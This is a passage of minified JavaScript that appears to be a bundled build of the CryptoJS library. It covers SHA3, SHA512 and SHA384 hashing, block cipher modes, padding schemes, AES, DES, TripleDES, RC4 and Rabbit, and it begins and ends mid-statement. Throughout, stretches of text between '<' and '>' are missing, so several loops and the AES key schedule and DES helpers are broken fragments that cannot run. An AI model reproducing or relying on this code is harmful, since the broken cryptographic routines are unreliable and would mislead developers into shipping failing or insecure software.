R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return'string'==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return'string'==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.');var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var 